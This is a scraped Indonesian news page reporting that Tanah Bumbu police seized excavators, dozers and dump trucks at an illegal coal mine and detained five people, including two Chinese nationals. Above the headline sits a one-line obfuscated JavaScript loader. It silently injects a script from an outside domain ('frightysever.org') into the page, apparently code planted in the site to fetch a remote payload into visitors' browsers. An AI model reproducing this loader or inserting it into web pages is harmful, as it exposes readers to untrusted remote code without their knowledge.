(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua WNA Cina Diamankan, Alat Berat hingga Dump Truck Disita dari Tambang Ilegal di Tanbu


KANALKALIMANTAN.COM, BATULICIN – Sedikitnya 11 alat berat, 20 dump truck, bersama 5 orang -2 diantaranya Warga Negara Asing (WNA) Cina- ditangkap Unit Satreskrim Polres Tanah Bumbu.

Alat berat dan puluhan dump truck, beserta dua WNA Cina itu diamankan karena diduga terlibat aktivitas tambang batu bara ilegal di Desa Mangkalapi, Kabupaten Tanah Bumbu, Kalimantan Selatan.

Barang bukti alat berat yang diamankan tersebut berupa 7 unit excavator merk SANY tipe SY 500 H warna kuning, 2 unit excavator merk Hitachi Zaxis 330 warna orange, 1 unit alat berat jenis dozer merk SANTUY, 1 unit alat berat jenis dozer merk Komatsu tipe D85S, 14 unit dump truck merk HOWO tipe 360 dan 6 unit unit dump truck merk HOWO tipe 420.

Dalam operasi yang dilaksanakan oleh jajaran Polres Tanah Bumbu, Senin 22 Nopember 2021 pukul 20.30 Wita ini juga telah tertangkap tangan sejumlah dugaan tindak pidana yang melakukan penambangan batu bara tanpa izin, pengamankan saksi dan barang bukti guna proses penyidikan lebih lanjut.

 

 

Baca juga: Depo Arsip Kalsel Dikunjungi DPRD Tapin, Kadispersip Tapin: Tahun Depan Kita Mulai Pemusnahan Arsip

Berdasarkan data yang diperoleh Kanalkalimantan.com, sebanyak 5 orang yang diamankan itu, 2 diantaranya WNA Cina yang bertugas sebagai pengawas dan manager operasional, sementara 1 orang sebagai penerjemah dan 2 orang lainnya bertugas sebagai operator alat berat.

Kapolres Tanah bumbu, AKBP Himawan Sutanto Saragih SIK melalui Kasi Humas AKP H I Made Rasa membenarkan kasus diamankannya sejumlah alat berat beserta beberapa orang yang diduga terlibat.

“Ada 5 orang yang diamankan, namun masih dalam tahap pemeriksaan, sehingga belum ada penetapan status tersangka,” sebut AKP H Made.

Sekadar diketahui, pasal yang dilanggar tentang tindak pidana tentang penambangan tanpa izin ssbagaimana dimaksud dalam Undang-Undang Nomor 03 Tahun 2020 tentang perubahaan Undang-Undang Nomor 02 tahun 2009 tentang Mineral dan Batubara Jo 55 KUHP. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie


Risa

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

9 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

10 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

11 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

12 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

13 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

14 jam ago

This website uses cookies.